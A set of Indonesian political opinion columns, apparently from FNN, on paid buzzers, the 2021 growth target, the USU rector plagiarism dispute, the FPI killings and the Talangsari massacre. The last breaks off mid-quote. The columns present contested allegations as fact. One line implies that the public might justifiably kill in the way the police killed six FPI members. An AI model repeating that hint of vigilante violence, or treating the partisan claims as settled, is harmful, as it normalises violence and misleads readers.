rasisme yang dilancarkan para buzzer ini diremote control oleh lingkaran kekuasaan. Meski dibantah oleh Ali Mucthar Ngabalin, tetapi kecurigaan Pigai cukup beralasan. Korbannya bukan hanya Natalius Pigai dan Kwik Kian Gie. Mantan Menteri Keluatan dan Perikanan, Susi Pujiantuti juga ikut diserang para buzzur, dengan subutan Kadrun (Kadal Gurun). Padahal Susi masih suka pakai celana pendek, pakaian ketat, dansa-dansa dan ngewain. Keberadaan buzzer menurut Ketua YLBHI Asfinawati dibenarkan atas dasar penelitian Oxford University. Buzzer ini merusak demokrasi dengan memanipulasi opini. Menyebarkan hoax dan ujaran kebencian. Dimanfaatkan dengan optimal oleh elit-elit politik. Tanpa ada gangguan, apalagi penangkapan aparat. Mereka menggunakan media untuk propaganda dengan melabrak kode etik jurnalistik. Jika ingin mengembalikan Negara Indonesia menjadi negara demokrasi, maka masalah buzzer ini mesti diselesaikan. Buzzerkrasi tidak boleh ditoleransi. Saatnya MUI mengeluarkan fatwa haram untuk buzzer. Komisi Pemberantasan Korupsi (KPK) harus meneliti dugaan korupsi penggunaan uang negara untuk membiayai para buzzer. DPR-RI harus menginisiasi pembuatan UU Anti-Buzzer. Demokrasi harus dan mutlak diselamatkan. Bangsa Indonesia jangan hanya ribut soal mencegah radikalisme, ekstrimisme, intoleransi, atau anti kapitalisme, liberalisme, dan komunisme. Ada fenomena baru yang mesti diwaspadai, dicegah, dan segera dibasmi yaitu buzzerisme. Penulis adalah Pemerhati Politik dan Kebangsaan.

Tidak Realistis Prediksi Pertumbuhan Ekonomi 5%

PEMERINTAH menargetkan pertumbuhan ekonomi sebesar 4,5 sampai 5 persen dalam tahun 2021. Target tersebut sangat ambisius dan sangat berlebihan, di tengah prahara perekonomian dunia yang masih kencang. Tidak jelas apa dasar pemerintah membuat target pertumbuhan seperti itu. Apakah hal itu dilakukan hanya sekedar menggembirakan hati rakyat yang sudah semakin sesak napas akibat semakin sulitnya kehidupan yang dialami kian hari? Apakah pemerintah tidak jengah atau malu menampilkan angka pertumbuhan seperti itu pada saat hampir semua sendi-sendi perekonomian masih lumpuh. Terlebih lagi melihat prediksi yang dikeluarkan Bank Dunia yang menyebutkan, dibutuhkan waktu hingga lima tahun untuk "menyembuhkan" ekonomi Indonesia agar kembali seperti sebelum Covid-19. Belum lagi jika dikaitkan dengan capaian pertumbuhan ekonomi tahun 2020 lalu yang minus 2,07 persen. Ini tentu sangat berdampak pada pertumbuhan yang akan dicapai tahun ini. Perkiraan yang disampaikan Direktur Bank Dunia, Mari Elka Pangestu bukan tidak berdasar. Jika perekonomian Indonesia baru benar-benar pulih seperti sebelum pandemi Covid-19 dalam waktu lima tahun, apakah angka lima persen tahun ini realistis? Anggap saja pulih seperti pada pertumbuhan 5 ,02 persen tahun 2019. Apa ia angka 5 persen bisa tercapai tahun ini? Atau angka pesimis (paling rendah yang disodorkan pemerintah) 4,5 persen bisa tercapai? Rasanya, menaikkan pertumbuhan ekonomi dari minus 2,07 persen tahun 2020 menjadi 4,5 sampai 5 persen tahun 2021 hanyalah sebuah mimpi dan hayalan. Mengubah pertumbuhan dari negatif ke positif bukanlah pekerjaan mudah seperti membalikkan kedua telapak tangan. Mengerek ekonomi hingga tumbuh dan pulih seperti sebelum pandemi corona virus disease 2019 (Covid-19) bukanlah pekerjaan yang mudah. Terlebih lagi perkiraan bahwa virus tersebut baru berakhir secara global dalam jangka waktu tujuh tahun. Sedangkan di Indonesia, wabah corona diperkirakan baru berakhir dalam jangka waktu 10 tahun. Mengacu pada berbagai perkiraan itu, ditambah lagi penanganan yang dilakukan pemerintah sangat lemah dan sangat 'banci", maka sangat sulit diharapkan ekonomi Indonesia tumbuh 4,5 sampai 5 persen. Dengan membaca fakta pertumbuhan yang dicapai minus 2,07 persen tahun lalu, maka tahun 2021 ini ekonomi Indonesia diperkirakan bangkit pada angka 2,5 sampai 3,5 persen. Itu pun sangat berat untuk dicapai. Mengapa sangat berat? Tentu karena faktor eksternal dan internal. Faktor eksternal jelas karena ekonomi dunia masih "ngesot", sehingga komoditas Indonesia sulit diekspor. Terlebih lagi komoditas pertanian yang menjadi andalan sebagian besar rakyat Indonesia. Untuk komoditas tertentu, sudah volume ekspornya turun, harganya juga turut merosot. Sedangkan faktor internal menyangkut tidak adanya wibawa pemerintahan Joko Widodo- Ma'ruf Amin dalam menjalankan roda pemerintahan. Ini bisa dibuktikan dari seringnya Jokowi memarahi menterinya. Dalam penanganan Covid-19, ia menyebutkan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM) tidak efektif. Padahal, yang mengumumkan adalah menterinya sendiri. Lucu kan, kebijakan yang dikeluarkan anak buah dikritik sendiri. Apakah sebelum keputusan dikeluarkan, menterinya tidak menyampaikan laporan kepada Jokowi? Faktor internal lainnya adalah tingginya kegaduhan politik, timpangnya penegakan hukum (penegakan hukum yang tidak adil), serta berbagai usaha pecah-belah bangsa yang justru banyak dilakukan buzzer bayaran. Semua itu akan menjadi faktor penyebab lambatnya pemulihan ekonomi nasional. Kegaduhan yang terjadi dan yang sering dilakukan oleh para menteri Joko Widodo juga bisa memperlambat pemulihan ekonomi, dan bahkan dapat mengacaukan keamanan nasional. Apakah pertumbuhan 4,5 sampai 5 persen bisa dicapai tahun ini? Kelihatannya itu hanya mimpi. Angka tersebut tidak realistis, jika dikaitkan dengan keadaan sektor-sektor ril yang sebenarnya, terutama UMKM yang biasanya pendongkrak daya beli masyarakat. Misalnya, semakin banyak pelaku Usaha Mikro, Kecil dan Menengah (UMKM) yang bangkrut. Tahun ini, sekitar 50 persen atau 20.000 usaha warung tegal (warteg) di Jakarta, Bogor, Depok, Tangerang, Bekasi (Jabodetabek) akan bangkrut karena omset yang terus merosot hingga 90 persen. Pengelola warteg tidak mampu membayar sewa tempat. Itu contoh UMKM. Masih banyak UMKM lainnya yang sudah lama gulung tikar. Sedangkan di usaha besar, sudah banyak pabrik yang melakukan Pemutusan Hubungan Kerja (PHK). Membatasi jam dan hari kerja, hanya cara mempertahankan usaha. Di sektor pendukung parawisata misalnya, kebangkrutan sudah terjadi. Faktanya, sejumlah pemilik hotel di Jakarta, Yogyakarta, Bandung dan kota lainnya sudah menawarkan penjualan. Harganya, mulai dari puluhan miliar rupiah sampai Rp 2,8 triliun. Jadi, kalau pemerintah mau pertumbuhan ekonomi sampai lima persen tahun ini bisa. Asalkan dana stumulusnya ada, dan penggunaannya tepat sasaran. Dana stumulus yang dibutuhkan untuk mencapai angka lima persen itu paling sedikit Rp 2.000 triliun. Bukankah selama tahun 2020 pemerintah sudah menggelontorkan dana sebesar Rp 695,2 triliun untuk pemulihan ekonomi nasional (PEN)? Akan tetapi, dana yang nyaris Rp 700 triliun itu tidak mampu memulihkan ekonomi nasional. Dana itu hanya mampu menahan supaya pertumbuhan ekonomi tidak lebih jeblok lagi dari angka 2,07 persen. Artinya, dana PEN yang habis tahun 2020 itu tidak memiliki efek yang cukup berarti terhadap pemulihan ekonomi. Hal itu bisa terjadi karena penyaluran PEN yang tidak tepat sasaran. Atau bisa juga angka Rp 695,2 triliun itu hanya di atas kertas. Bisa jadi faktanya tidak sebanyak itu, karena uang negara tidak ada, apalagi dikaitkan dengan defisit APBN 2020 yang mencapai Rp 1.000 triliun lebih atau 6,3 persen dari Produk Domestik Bruto (PDB). **

USU Pasca-Pelantikan Rektor Muryanto Amin (Bagian-4, Penutup)

by Prof. Dr. OK Saidin SH. M.Hum Medan, FNN - Di bagian ke-3, telah dijelaskan bahwa term (istilah) ‘self-plagiarism’ itu ada. Disimpulkan pula bahwa USU akan menghadapi masalah besar ke depan di bawah pimpinan Dr Muryanto Amin. Di bagian ke-4 sekaligus penutup ini, saya coba untuk menelusuri akar masalahnya. Apa yang salah dalam pengelolaan sistem pendidikan tinggi di Indonesia. Mengapa ilmu penegetahuan tak tumbuh dan tidak berkembang. Sebenarnya Menteri Nadim Anwar Makarim telah menemukan jawabannya, yakni kampus harus diberi ruang gerak ke arah yang lebih merdeka. Tercetuslah ide Kampus Merdeka-Merdeka Belajar. Akan tetapi benarkah kampus saat ini merdeka, jika dihubungkan dengan sistuasi yang sedang dihadapi USU hari ini? Ada nilai-nilai insaniah sebagai nilai universal yang tergerus dalam penanganan kasus konkrit yang dihadapi oleh USU hari ini. Yakni nilai kejujuran dan nilai keterbukaan. Selama nilai-nilai ini diabaikan, maka selama itu pula ilmu pengetahuan tak dapat tumbuh dan berkembang. Plagiat adalah perbuatan mengambil karya orang lain, dan itu adalah perbuatan tidak jujur. Tapi tidak semua perbuatan tidak jujur itu adalah plagiat. Perbuatan Self-plagiarism, double publication, atau salami publication, atau publikasi ganda adalah perbuatan tidak jujur. Perbuatan itu adalah salah satu bentuk dari pelanggaran etika akademik. Siapa pun dan kemana pun ditanyakan tentang hal itu, mereka yang jujur akan memberikan kesimpulkan dan pandangan yang sama. Nilai itu universal. Buktinya universal, hari ini terbetik ide dari Kementerian untuk menyempurnakan Permendiknas 17/2010 tentang pencegahan encegahan plagiat di perguruan tinggi (Dewi Nurita, Eko Ari Wibowo, Tempo-co, Jumat, 29 Januari 2021). Artinya pihak Kementerian menyadari ada kesalahan dan ada kekurangan dalam peraturan ini. Di luar dugaan, Kementerian Agama jauh lebih maju karena lebih rinci mengatur tentang perbuatan plagiat yang memasukkan istilah self-plagiarism (plagiat karya sendiri). Akar masalah yang lain adalah, masuknya unsur politis dalam tiap kali pelaksanaan pemilihan rektor. Hal ini tidak dapat dihindari selama Kementerian dalam pemilihan rektor porsinya 35 %. Akibatnya tiap lima tahun sekali kampus menjadi "terbelah". Habis energi dan waktu rektor untuk menyatukan kembali situasi yang sudah terbelah itu. Kadang-kadang sampai satu atau dua tahun dan bahkan sampai berakhir periode kepemimpinannya. Suasana batin para pihak yang bertikai dipenuhi oleh rasa kebencian yang tak berujung. Padahal, mereka sama-sama dosen dan kolega. Ini tentu menjadi bahan masukan dan renungan bagi pemerintah di tengah kumandang Kampus Merdeka-Merdeka Belajar. Hendaknya yang dimerdekakan dahulu adalah para sivitas akademikanya. Kalau suara Kementerian dalam pemilihan rektor tetap 35 %, itu artinya tiap 5 tahun sekali para calon rektor mencari calon anggota MWA wakil masyarakat yang dekat dengan kekuasaan yang nanti diharapkan akan menempatkan suara 35 % itu di pihaknya. Faktor masuknya unsur politik dan berbagai intervensi tak dapat terhindarkan lagi. Oleh karena itu, kaum intelektual kampus perlu memikirkan agar pemilihan rektor itu kembali ditentukan oleh MWA dengan sistem one man one vote. Pihak Kementerian tetap memiliki satu suara sama dengan suara Gubernur. Demikian juga, mereka yang duduk di eksekutif seperti rektor dan dekan tidak boleh rangkap jabatan di MWA. Jika telah duduk di MWA yang bersangkutan harus melepaskan jabatannya di eksekutif. Logikanya, tidaklah cocok orang yang harus diawasi duduk sebagai pengawas. Faktor-faktor ini sangat kental dalam menciptakan suasana tak nyaman di kampus. Carut-marut di USU hari ini bisa jadi dipicu oleh faktor-faktor itu. Pelantikan Muryanto Amin sebagai rektor USU seharusnya bisa mengakhiri perdebatan panjang seandianya saja MWA dan Kemendikbud memenuhi rekomendasi hasil rapat MWA 15 Januari 2021. Kementerian diminta membuat klarifikasi soal Surat Keputusan Rektor USU tentang penjatuhan sanksi pelanggaran etika yang dilakukan oleh Muryanto. Tapi itu tidak dilakukan. Pihak Kementerian hanya mengeluarkan surat No 4607/MPK.A/RHS/KP/21, tentang pelantikan rektor periode 2021- 2026. Padahal, ada agenda lain pada rapat tanggal 15 Januari 2021, yaitu mendengarkan penjelasan Rektor USU 2016-2021 tentang kasus plagiat yang dilakukan Muryant. Pada agenda itu, berdasarkan penjelasan Sekretaris MWA, Prof Guslihan Dasacipta, sudah disepakati bahwa akan ada klarifikasi dari tim independen untuk menjernihkan kasus itu. Agar Rektor yan dilantik memiliki kredibilitas dan justifikasi dan telah memenuhi persyaratan formal dan materil untuk memangku jabatan rektor. Akan tetapi sangat disayangkan pihak Kementerian tidak pernah menyampaikan hasil kerja iim independen bentukan Kemendikbud. Tak pernah ada penjelasan, tentang masukan dan keluhan masyarakat. Tak pernah juga ada penjelasan lebih lanjut mengenai rangkaian due process of law yaitu proses hukum yang adil yang dilakukan oleh Tim Independen. Tiba-tiba pihak Kementerian meminta dilaksanakan pelantikan segera. Inilah yang beberapa hari berikutnya memicu banyak perdebatan. Belakangan, beberapa jam setelah pelantikan baru muncul pernyataan Prof Nizam (Dirjen Dikti) yang menegaskan bahwa Muryanto Amin tidak lakukan plagiasi. Berselang tiga hari pasca pelantikan beredar informasi bahwa menteri sudah mencabut keputusan Rektor USU terkait plagiat Muryanto. Surat itu bertanggal 27 Januari 2021 yang ditandatangani oleh Nadiem Anwar Makarim. Akan tetapi, Dirjen Dikti Kemendikbud dalam klarifikasi 28 Januari 2021 tak menjelaskan bahwa sudah terbit surat Menteri yang membatalkan keputusan Rektor USU mengenai penjatuhan sanksi terhadap Muryanto. Bahkan undangan pelantikan rektor periode 2021-2026 itu sudah beredar, sebelum tanggal pencabutan atau pembatalan surat keputusan rektor USU tersebut. Artinya pelantikan itu tidak didasarkan sama sekali pada surat Menteri yang telah membatalkan atau mencabut surat rektor USU tersebut. Kementerian Dikbud "kecolongan" dan gagal menyiasati serta mendudukkan kasus ini dalam kerangka hukum dan kerangka kerja administrasi yang bersih di lingkungan kementeriannya. Rekan-rekan di USU menyampaikan diksi yang tak sedap didengar. Kemendikbud sepertinya menaburkan abu di mata publik, dengan pesan seolah-olah pelantikan rektor periode 2021-2026 telah memiliki legitimasi hukum yang kuat. Tentu anggapan ini tak boleh dibiarkan liar. Harus ada juga klarifikasi dari pihak Kementerian, jika kita ingin menegakkan marwah dan wibawa Kementerian. Tak ada salahnya MWA menggelar rapat sekali lagi pasca pelantikan rektor. Tapi itu harus dilakukan dengan kepala dingin dan hati yang jernih. Semua sivitas akademika USU harus mengakui dengan hati yang lapang bahwa USU sudah memiliki pucuk pimpinan yang secara hukum mempunyai kewenangan yang sah untuk bertindak dan berbuat sesuai tugas dan fungsinya sebagai Rektor. Tak ada yang boleh dan yang bisa menyalahkan Muryanto, sebab beliau sudah memenuhi semua rangkaian proses untuk duduk sampai ke puncak jabatan itu. Beliau sudah mengikuti rangkaian proses mulai dari pencalonan sampai pada pemilihan. Setelah terplih menyeruak kasus self-plagiarism yang dipersangkakan padanya. Muryanto pun mengikuti semua proses terkait penyelesaian peristiwa itu. Mulai dari memberikan pembelaan di depan Sidang Komisi I DGB sampai pada memberikan keterangan dalam rangkai pemeriksaan pada Komisi Etik. Rektor pun telah menerbitkan Keputusan, karena itu rektor pun tak bisa dipersalahkan. Rektor telah menegakkan aturan sesuai dengan ketentuan yang berlaku di lingkungan USU. Sebab jika Rektor tidak melakukan itu, Rektor juga dapat dijatuhi sanksi hukum. Dewan Guru Besar dan Komisi Etik juga tidak dapat dipersalahkan, mereka telah menjalankan fungsi dan tugasnya sesuai aturan yang berlaku di lingkungan USU. Kalaupun ada pihak yang harus kita minta pertanggung jawabannya hari ini, maka pertanggungjawaban itu ada pada: Pertama, Majelis Wali Amanat (MWA) USU. Seberapa jauh badan ini menjalankan amanah rakyat dalam menyikapi dan menangani kasus ini? Apakah MWA dalam menjalankan tugas dan fungsinya sudah sesuai dengan ketentuan dan aturan yang berlaku di lingkungan USU sebagai PTN Badan Hukum? Kedua, Mendikbud. Pertanyaannya sama. Seberapa jauh lembaga ini menjalankan tugas dan fungsi dalam menyikapi dan menangani kasus ini? Apakah pihak Kemendikbud dalam menjalankan tugas dan fungsinya sudah sesuai dengan ketentuan dan aturan yang berlaku di lingkungan USU sebagai PTN Badan Hukum? Jawaban atas pertanyaan itu ada pada kedua institusi ini dan itu akan menentukan jalannya USU ke depan. Upaya yang dapat dilakukan adalah melalui upaya hukum. Hasilnya bisa digunakan untuk menyembuhkan siapa yang terluka dalam waktu singkat. Atau justeru keduanya memperpanjang luka, bahkan bisa menambah luka baru. Tak ada yang bisa memperkirakan USU ke depan akan jadi seperti apa. Oleh karena itu mungkin ada jalan tengah, jalan rekonsiliasi. Kita kubur semua persoalan, kita buka lembaran baru. Caranya kita benahi kembali apa yang keliru dan tersilap. Hukum tertinggi adalah hati nurani dan kebenaran Ilahiyah. Jika Tuhan dapat memaafkan hambanya, dan Presiden-pun bisa memberikan ampunan terhadap rakyatnya yang diatuhi hukuman, mengapa kita tidak. Satu-satunya upaya yang dapat dilakukan adalah semua pihak terkait, MWA, Guru Besar, Senat Akademik dan Tokoh-Tokoh Pemersatu dan Tokoh Senior di USU duduk bersama secara informal. Cari jalan penyelesaian yang arif dengan penuh kebijaksanaan. Yang pekak kita minta menghembus lesung, yang tuli kita minta menembakkan meriam. Jadikan semuanya berguna dan hargai semua potensi akademik yang kita miliki. Persoalan hukum yang menanti di depan, jika diselesaikan melalui pengadilan bukanlah solusi yang baik. Hukum mungkin bisa memberi rasa kepastian, tapi tak bisa memulihkan keadaan yang telah tercabik-cabik. Tapi dengan duduk bersama akan bisa dihapuskan dan dihilangkan hal-hal yang mendera perasaan selama "pertarungan" ini dengan satu kata yakni "ma'af". Bukankah hukum tertinggi adalah hati nurani? Dengan hati nurani kita hargai Keputusan Rektor tentang penjatuhan sanksi, agar tidak terulang kejadian yang sama. Toch Keputusan Rektor hanya menjatuhkan sanksi etik, yang bisa dihapus dengan kata ma'af. Dengan begitu Rektor dan Komisi Etik tidak kehilangan "muka". Mungkin pertanyaannya, mengapa tidak Rektor saja yang mencabut Keputusannya? Rektor yang menerbitkan keputusan itu telah berakhir masa tugasnya. Sangat tak etis pula kalau Rektor yang sekarang mencabutnya, apalagi hal itu menyangkut dirinya sendiri. Bagimana dengan keputusan Menteri yang telah mencabut SK Rektor? Berdasarkan hasil "rembukan" Menteri bisa meninjau kembali Keputusannya tentang pembatalan SK Rektor USU terkait penjatuhan sanksi. Dasar pertimbangan SK Menteri tentang Pembatalan Keputusan Rektor USU sangat banyak kekurangannya, tidak menyebutkan PP No.16/2014 tentang Statuta USU dalam konsideransnya. Dan tidak ditujukan kepada siapa keputusan itu dialamatkan. Keputusan terbit 27 Januari 2021 sedangkan undangan pelantikan rektor telah beredar 26 Januari 2021. Artinya lebih dulu Keputusan untuk pelaksanaan pelantikan daripada keputusan pencabutan Keputusan Rektor USU. Ini tentu akan menjadi perdebatan baru jika ini di bawa ke ranah hukum. Melalui "urun rembuk" ada banyak yang bisa terselamatkan. Paling tidak ini bisa menyelamatkan MWA dan Kementerian dari gugatan yang mungkin akan muncul bertubi-tubi. Memang ada diantara kita yang mengatakan, "biarkan saja", tapi itu berpotensi untuk semakin merusak kredibilitas USU di masa datang. Jika ini terus dibiarkan tak ada yang mengambil inisiatif untuk meredakannya, maka "keterbelahan" ini akan berkepanjangan dan mungkin akan diwariskan selama bertahun-tahun. Yang menang menjadi arang, yang kalah menjadi abu. Telungkup makan pasir, terlentang makan debu.[] Penulis adalah Guru Besar Hukum USU, Ketua Asosiasi Pengajar Hukum Hak Kekayaan Intelektual Indonesia (periode 2017-2020 dan 2020-2023) dan Ketua Komisi Kelembagaan Akademik, Perencanaan dan Anggaran Senat Akademik USU (periode 2020-2025).

Kasus Laskar FPI dan Abu Janda, Ujian Kesetiaan Kapolri Pada Presiden dan NKRI!

by Mochamad Toha Surabaya, FNN - Ujian terbesar Jenderal Polisi Listyo Sigit Prabowo saat ini memang tentang penuntasan pembunuhan 6 Laskar FPI. Jika Kapolri ini ingin namanya tercatat dengan tinta emas lembar sejarah bangsa, dia harus berani menyeret dalang di balik peristiwa ini ke meja hijau. Tidak hanya sekadar menyeret, tetapi Kapolri harus transparan kepada publik dan memiliki alat bukti yang kuat. Hal ini harus dilakukan supaya ketika kasus disidangkan, publik tidak melihat permainan hukum semata, dengan “mengorbankan” kroco-kroco saja. Pada sisi lain, kesungguh-sungguhan Jenderal Listyo untuk mengungkap tuntas kasus Laskar FPI ini dengan menyeret aktor intelektualnya akan menepis anggapan, Polri “bermusuhan” dengan kaum Muslim. Hal ini akan menjadi preseden baik di mata publik, mengingat bahwa Jenderal Listyo seorang beragama Kristen. Selain itu, supaya Kapolri akan bisa menyelamatkan Presiden Joko Widodo dari “ancaman” lengser. Sebab, bukan tidak mungkin akan terjadi aksi massa untuk melengserkan Jokowi dengan menumpang sejumlah isu yang dirasa menyudutkan kaum muslim saat ini. Harus diingat, indikator untuk pelengseran Jokowi dan upaya mempercepat pilpres sudah nyata terlihat di lapangan. Dan, isu untuk itu, salah satunya, muncul dari belum terlihatnya upaya nyata penuntasan kasus 6 Laskar FPI dan menyeret aktor intelektual di belakangnya. Apalagi, lewat Menko Polhukam Mahfud MD, Presiden Jokowi sudah memerintahkan agar kasus terbunuhnya enam 6 Laskar FPI diusut secara hukum dengan adil dan transparan. Ini bagus. Tapi pertanyaannya, bagaimana realisasinya di lapangan? Perintah Presiden ini seharusnya mengunci Kapolri Listyo Sigit Prabowo. Dia tidak punya pilihan lain, kecuali harus melaksanakan perintah atasannya. Mengabaikan perintah tersebut, sama artinya Kapolri melakukan insubordinasi. Kapolri jangan melawan Presiden! Tidak hanya rakyat Indonesia, mata dunia pun sekarang tertuju pada upaya Kapolri untuk menuntaskan kasus tersebut. Bisa tuntas atau tidak? Atau, justru malah Jokowi yang ikut “terjungkal”. Atau, ini jalan untuk mempercepat Pilpres. Jenderal Listyo bisa ikut menentukan arahnya. Karena, akhir-akhir ini fakta nyata telah ada upaya pemakzulan Presiden Jokowi. Undangan rencana demonstrasi itu mulai beredar di medsos dan WAG. “Tindakan rezim Jokowi sangat jauh dari harapan rakyat, tidak amanah, penyalahgunaan jabatan, bahkan tidak berkeadilan hukum dalam banyak kasus yang terjadi,” tulis undangan atas nama Humas BEM Indonesia itu. “Maka diminta untuk semua rakyat indonesia yang menginginkan perubahan kepemimpinan yang adil agar kiranya bisa merapat pada: Jumat, 12 Pebruari 2021, pukul 13:00 s/d lengserkan Jokowi – Ma’ruf Amin. Pantang pulang sebelum rakyat menang.” “Kawal demokrasi, kawal keinginan rakyat yang berkeadilan, kawal konstitusi, kembalikan Pancasila dan UUD 45, Kembalikan Dwifungsi ABRI sebagai alat Pertahanan Keamanan Negara serta berpolitik, bubarkan kabinet dan parlemen, bentuk DPR/MPRS.” Terlepas apakah benar yang mengungundang tersebut berasal dari Humas BEM Indonesia, setidaknya hal itu telah membuktikan adanya kegelisahan sebagaian masyarakat yang bisa melihat kondisi sosial-politik dan hukum yang terjadi akhir-akhir ini. Lihat saja bagaimana perlakuan aparat penegak hukum kepada pegiat media sosial Permadi Arya atau Abu Janda yang saat ini menjadi sorotan sejumlah kalangan. Salah satunya, pakar telematika KRMT Roy Suryo. Nama Abu Janda makin melejit karena dianggap “sakti” tak tersentuh oleh hukum. Padahal, beberapa kali dia dilaporkan atas berbagai kasus terkait ocehan yang menyinggung suku, agama, ras, dan antar-golongan (SARA). Seperti dilansir dari GenPI.co, Jum’at (05 Februari 2021 09:20), Roy Suryo menyimpulkan, perilaku Abu Janda di media sosial yang kerap menuai polemik dikarenakan dia dibayar oleh uang rakyat. “Dari pengakuan si Abu Janda @permadiaktivis1 ini setidaknya ada dua fakta, (Pertama) Komisaris-komisaris BUMN adalah (bagi-bagi Jabatan) untuk yang berjuang di TKN,” cuit Roy Suryo dalam Twitter, Rabu (3/3/2021). Sebelumnya, beredar video di mana Abu Janda mengatakan secara gamblang, dia direkrut oleh Jokowi untuk menjadi tim pemenang kampanye Jokowi-Ma’ruf pada 2018. Roy Suryo juga mengatakan bahwa Abu Janda dan juga Deni Siregar merupakan Influencer peliharaan yang dibayar menggunakan uang rakyat. Sebelumnya, Abu Janda memang dikenal sebagai sosok yang membela Jokowi habis-habisan. Kendati begitu, Abu Janda menolak disebut buzzer. Ia mengaku ketiuka itu posisinya sebagai influencer atau orang yang memberikan pengaruh kepada masyarakat. Dalam sebuah kesempatan Abu Janda pun membeberkan pendapatannya serta hasil menjadi infuencer presiden. “Kalau orang bisnis itu istilahnya jebol, ya pas direkrut sama Pak Jokowi tahun 2018,” ujarnya. “Kami direkrut setahun sebelum Pilpres. Jadi aku lumayanlah, Alhamdulillah dapetnya (gaji) lumayan. Itu jackpot lah, sebelumnya bisa makan aja udah syukur,” beber Abu Janda, Selasa (2/2/2021). Dia juga mengaku ketiban durian setelah menjadi Tim Sukses Jokowi. “Plus gara-gara jadi Timses Jokowi, aku ada peluang untuk itu (pergi ke luar negeri untuk menjadi pembicara). Alhamdulillah, rezekinya lumayan,” katanya. Dalam kesempatan yang sama, Abu Janda juga bicara mengenai peluangnya menduduki kursi komisaris BUMN. Sebab, banyak pendukung Jokowi yang belakangan ramai mengisi jabatan tersebut. Dia pun mengatakan tak pernah ditawari kursi komisaris lantaran dia sudah dibayar besar sebagai influencer. “Kenapa ada yang dapat jabatan komisaris dan enggak? Karena, orang-orang yang dapat jabatan komisaris ini adalah orang-orang yang memang berjuang di TKN waktu itu. Kalau aku dan Denny Siregar adalah influencer yang dibayar, gede lagi,” jelas Abu Janda. Benarkah pengakuan Abu Janda yang menyeret nama Presiden Jokowi tersebut, Jenderal Lisyo Sigit harus bisa menjawabnya dengan memproses hukum Abu Janda secara adil dan terbuka. Sebab, pengakuan Abu Janda itu jelas sangat merugikan citra Presiden Jokowi. Jika proses hukum tak dilakukan pada Abu Janda yang jelas-jelas merusak nama baik Presiden Jokowi, jangan salahkan jika rakyat berbuat seperti polisi yang mengeksekusi 6 Laskar FPI. Adanya perlakuan tidak adil yang dialami rakyat yang kritis ternyata juga menimpa tokoh nasional sekelas Kwik Kian Gie. Mantan Menko Perekonomian era Presiden Megawati Soekarnoputri itu mengaku saat ini sangat takut menyampaikan kritik. Padahal pada masa Orde Baru sangat berkuasa, dia bebas mengritik melalui artikelnya yang dipublikasikan harian Kompas. Bukan hanya Kwik sebenarnya yang takut bicara. Ki Dalang mbeling Sujiwo Tedjo yang sangat kritis juga mengaku takut. Mantan Menteri Kelautan dan Perikanan Susi Pudjiastuti belum ini juga menjadi korban bully karena bersikap kritis. Dia disebut sebagai Kadrun dan (maaf) Asu, karena dinilai membela Gubernur DKI Anies Baswedan. Pembungkaman orang-orang kritis seperti mereka itu jelas tidak sehat, apapun alasannya. Ini justru berpotensi terjadinya ketidakstabilan politik dalam negeri. Semua itu juga berawal dari perlakuan “tidak adil” aparat penegak hukum seperti Polisi. Makanya, beragam kasus yang kini ditangani Polri, termasuk pembunuhan 6 Laskar FPI dan kasus Abu Janda, merupakan “ujian” kesetiaan Jenderal Listyo Sigit Prabowo kepada Presiden dan NKRI. Penulis Wartawan Senior FNN.co.id.

Pembantaian Talangasri 1989, Mungkinkah Hendropriyono Diadili?

by Asyari Usman Medan, FNN - Hingga hari ini, pembantaian warga sipil di Umbul Cihideung, yang dikenal dengan Peristiwa Talangsari, masih belum diselesaikan secara tuntas. Pelanggaran HAM berat ini terjadi ketika hubungan pemerintah Orde Baru dengan umat Islam berada pada titik rendah. Pembantaian pada 7 Februari 1989 itu tidak bisa dilaporkan secara objektif oleh media massa waktu itu. Semua surat kabar hanya mengutip sumber resmi. Dan pemberitaan serta analisis yang disajikan pun cenderung memberikan justifikasi atas tindakan penguasa waktu itu. Sumber resmi (Pangdam Sriwijaya) ketika itu mengatakan 29 orang yang tewas. Namun, penyelidikan pasca-Reformasi menemukan setidaknya 130 orang yang dibunuh. Temuan lain menyebutkan 246 warga Cihideung dibantai. Setelah Soeharto lengser pada Mei 1998, media massa menjadi bebas. Begitu juga perpolitikan dan penegakan hukum mengalami perbaikan. Independensi DPR dan cabang-cabang kekuasan lainnya, mulai tumbuh. Ada reformasi besar-besaran. Meskipun dalam beberapa tahun ini suasana reformasi mundur lagi ke suasana Orde Baru. Kebebasan pers dan independensi baru setelah Reformasi membuat pembantaian Talangsari bisa diungkap kembali. Komisi Nasional Hak Asasi Manusia (Komnas HAM) yang dibentuk pada 7 Juni 1993 bisa bekerja lebih leluasa. Komnas membentuk Tim Ad Hoc Penyelidikan Pelanggaran HAM Berat Peristiwa Talagsari 1989 berdasarkan Undang-Undang Nomor 26 Tahun 2000 tentang Pengadilan HAM. Tim Ad Hoc terdiri dari anggota dan staf Komnas HAM serta unsur dari masyarakat. Tim bekerja sejak 1 Mei 2007 sampai 31 Juli 2008. Tim menemukan setidaknya 130 orang tewas dan 109 rumah terbakar atau rusak. Tim Ad Hoc Talangsari 1989, dengan laporan tertanggal 31 Januari 2008, mengatakan bahwa: “Penyerangan terhadap komplek pondok Warsidi yang menyebabkan meninggalnya 130 orang melibatkan peleton dari infantri Korem 043 Garuda Hitam dan 1 Peleton dari Brimob. Peleton Brimob tersebut merupakan polisi yang di-BKO-kan dari Polwil Lampung. “Penyerangan yang berujung pada pembunuhan terhadap penduduk sipil dilakukan oleh setidaknya pasukan dari Korem Garuda Hitam dan Pasukan Brimob yang dipimpin oleh Danrem Garuda Hitam pada waktu itu. Peranan dan keberadaan Danrem dalam lokasi penyerangan ini bukan saja sebagai sebagai pimpinan pasukan tetapi juga terindikasi kuat merupakan pihak yang merencanakan penyerangan sebagai penjabaran dari perintah Pangdam.” “Bahwa serangan yang terjadi pada 7 Pebruari 1989, merupakan serangan yang bersifat sistematik. Hal ini dapat dilihat dari besarnya skala (large scale) serangan yang terjadi. Rangkaian kekerasan tersebut melibatkan sumber daya logistik berupa perlengkapan militer antara lain senjata, kendaraan berupa truk, jeep dan helikopter.” Menurut Tim Ad Hoc, serangan terhadap warga Cihideung terjadi setelah seorang perwira militer tewas terkena panah warga. Berikut kutipan laporan Tim. “Pada 6 Pebruari 1989, sekitar pukul 11.30 WIB, rombongan berjumlah sekitar 20 orang terdiri atas Kasdim Metro bernama Mayor Oloan Sinaga, Danramil Way Jepara bernama Kapten Sutiman, Serka Dahlan Bataud, Camat Way Jepara bernama Zulkifli Maliki dan Stafnya, 